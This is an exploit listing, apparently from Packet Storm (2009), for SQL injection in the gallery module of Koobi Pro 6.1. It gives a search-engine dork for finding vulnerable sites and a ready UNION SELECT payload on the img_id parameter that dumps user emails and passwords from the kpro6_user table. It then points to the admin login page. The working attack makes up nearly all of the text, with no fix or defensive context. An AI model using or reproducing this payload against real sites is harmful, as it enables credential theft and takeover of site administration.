Koobi Pro 6.1 Gallery SQL Injection

2009-12-30T00:00:00
ID PACKETSTORM:84401
Type packetstorm
Reporter BILGE_KAGAN
Modified 2009-12-30T00:00:00

Description

                                        
                                            `##########################################  
#  
# Koobi Pro v6.1 gallery (img_id)  
#  
  
##########################################  
#  
##AUTHOR : BILGE_KAGAN  
#  
####HOME : http://www.1923turk.biz  
#  
###########################################  
#  
# DORK 1 : allinurl: "index.php?p=gallerypic img_id"  
  
###########################################  
EXPLOiT:  
  
index.php?p=gallerypic&img_id=-1+union+select+0,1,2,concat(email,0x3a,pass),4,5,6,7,8+from+kpro6_user  
  
  
aDM�N PANEL�:  
  
admin/login.php  
  
`